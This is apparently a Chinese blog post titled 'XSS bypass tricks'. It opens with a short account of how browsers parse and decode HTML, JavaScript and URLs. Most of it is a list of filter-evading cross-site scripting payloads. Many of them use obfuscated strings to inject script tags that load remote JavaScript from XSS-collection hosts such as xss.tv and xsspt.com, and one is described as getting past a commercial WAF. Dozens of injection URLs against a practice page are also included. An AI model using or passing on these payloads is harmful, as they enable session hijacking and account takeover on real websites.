1. 程式人生 > >【奇淫巧技】XSS繞過技巧

【奇淫巧技】XSS繞過技巧

var In on() inpu 失敗 pts IT 整理 tps

  聲明一下:各位大佬不要問我htmlspecialchars怎麽繞過,這個函數本身就是用來防禦xss攻擊的,確實在某些情況下由於開發者的疏忽導致這個函數不起作用(不算繞過),這個有興趣的可以自行百度,這裏不做解釋。

  1、首先是彈窗函數:

alert(1)
prompt(1)
confirm(1)
eval(

  2、然後是字符的編碼和瀏覽器的解析機制:

    要講編碼繞過,首先我們要理解瀏覽器的解析過程,瀏覽器在解析HTML文檔時無論按照什麽順序,主要有三個過程:HTML解析、JS解析和URL解析,每個解析器負責HTML文檔中各自對應部分的解析工作。

    首先瀏覽器接收到一個HTML文檔時,會觸發HTML解析器對HTML文檔進行詞法解析,這一過程完成HTML解碼並創建DOM樹,接下來JavaScript解析器會介入對內聯腳本進行解析,這一過程完成JS的解碼工作,如果瀏覽器遇到需要URL的上下文環境,這時URL解析器也會介入完成URL的解碼工作,URL解析器的解碼順序會根據URL所在位置不同,可能在JavaScript解析器之前或之後解析。

    三個解析過程所對應的字符編碼分別為:HTML解析 => HTML實體編碼 、JS解析 => Unicode編碼 、URL解析 =>URL編碼。

  3、下面我們用實際例子來解釋一下以上所說的瀏覽器解析過程和字符編碼是怎麽回事,以及今天的重點---XSS繞過。

....暫定

<a href=javascript:alert`1`>click
<button ‘ onclick=alert(1)//>
<button onfocus=alert`122`>
<object data=javascript:alert`1`>
<
body/onfocus=alert`9989`> <input/onfocus=alert`1`> <svg><script xlink:href=data:,alert(1) /> <iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;> <svg/onload=alert(1)> <x contenteditable onblur=alert(1)>lose focus! <i contenteditable onblur
=alert(1)>lose focus!//contenteditable:使可編輯 <x oncontextmenu=alert(1)>right click this! <c oncontextmenu=alert(1)>鼠標右鍵點擊 <iframe src="&Tab;javascript:prompt(1)&Tab;"> <ScRipT 1>prompt(1)</ScRipT 123 <input/onfocus=ev\u0061l(\u0061lert(1))> <input/onfocus=\u0061lert(1)> <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <details ontoggle=alert(1)> <iframe/src=‘data:text/html,<svg &#111;&#110;load=alert(1)>‘> <div onscroll=alert`1`>

利用代碼:

<img/src=1 onmouseover=s=createElement(‘\163\143\162\151\160\164‘);body.appendChild(s);s.src="//xss.tv">

一下是一位大佬的文章,這裏直接引用了,有空再整理。

https://bbs.ichunqiu.com/thread-31886-1-1.html

這裏的連接字符,我研究出來一些payload,能夠script,document等危險字符過濾的情況下,不需要在任何編碼的情況下,去構造一個payload

當document被過濾的情況下,又不能用編碼
+被過濾,又不能編碼
<svg/onload="[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom%27|e|%27nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom%27%2Be%2B%27nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘+e+‘nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘-e-‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘*e*‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})">

<svg/onload="[1].find(function(){with(`docom‘/e/‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})"> <svg/onload="[1].find(function(){with(`docom‘%e%‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})"> <svg/onload="[1].find(function(){with(`docom‘^e^‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})"> <svg/onload="[1].find(function(){with(`docom‘>e>‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})"> <svg/onload="[1].find(function(){with(`docom‘<e<‘nt`);;body.appendChild(createElement(‘\163\143\162\151\160\164‘)).src=‘http://xss.tv/XA‘})"> <script type="text/javascript">   var a = ‘‘>=alert``<=‘‘;   var a = ‘‘+alert``+‘‘; </script> <keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">支持火狐 360, 谷歌失敗,過主機衛士 就是下面這些連接符號 輸出在script內字符串位置的情況 如果允許閉合字符串,直接閉合並寫入javascript即可,如: http://mhz.pw/game/xss/scriptstr.php?xss=%27|alert(1)|%27 http://t.mhz.pw/game/xss/scriptstr.php?xss=‘|alert(1)|‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=%27%2Balert(1)%2B%27 http://t.mhz.pw/game/xss/scriptstr.php?xss=‘+alert(1)+‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘-alert(1)-‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘*alert(1)*‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘/alert(1)/‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘%alert(1)%‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘^alert(1)^‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘>alert(1)>‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘<alert(1)<‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘>=alert(1)>=‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘<=alert(1)<=‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘==alert(1)==‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘===alert(1)===‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘!=alert(1)!=‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘!==alert(1)!==‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘%26alert(1)%26‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘&alert(1)&‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘|alert(1)|‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘||alert(1)||‘ http://t.mhz.pw/game/xss/scriptstr.php?xss=‘>=alert(1)<=‘ <svg/onload="[1].find(function(){with(`docom‘|e|‘nt`);;body.appendChild(createElement(‘script‘)).src=‘http://xss.tv/XA‘})"> <svg/onload=[1].find(function(){with(/do/.source+/cument/.source)body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(/docomen/.source+/t/.source);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.source+/t/.source`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`/docomen/.1+/t/.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /字符/.1+/字符/.1 字符加上字符 //.1 + //.1 這些只是連接字符的方式而已 ,總結起來就是 document而已 <svg/onload=[1].find(function(){with(`\docomen\.1+\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> / 換成 \ 也可以 <svg/onload=[1].find(function(){with(`\docomen\.1\t\.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加號也可以 <svg/onload=[1].find(function(){with(`=docomen=.1+=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成=號也可以 <svg/onload=[1].find(function(){with(`=docomen=.1=t=.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要加號也可以 <svg/onload=[1].find(function(){with(`^docomen^.1+^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成^號也可以 <svg/onload=[1].find(function(){with(`^docomen^.1^t^.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`|docomen|.1+|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成|號也可以 <svg/onload=[1].find(function(){with(`|docomen|.1|t|.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`&docomen&.1+&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成&號也可以 <svg/onload=[1].find(function(){with(`&docomen&.1&t&.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> <svg/onload=[1].find(function(){with(`%26docomen%26.1+$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> /換成%26也行 <svg/onload=[1].find(function(){with(`%26docomen%26.1$26t%26.1`);;body.appendChild(createElement("script")).src="http://xss.tv/XA"})> 不要引號也行 Body加上括號也行 <svg/onload=[1].find(function(){with(`docomen`);(body.appendChild(createElement(‘script‘))).src=‘http://xss.tv/XA‘})> <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,102,98,105,115,98,46,99,111,109,47,48,71,73,103,62,60,47,115,99,114,105,112,116,62))> <svg/onload=[1].find(function(){with(‘docu‘===‘ment‘);body.appendChild(createElement("script")).src="http://xss.tv/XA"})>

【奇淫巧技】XSS繞過技巧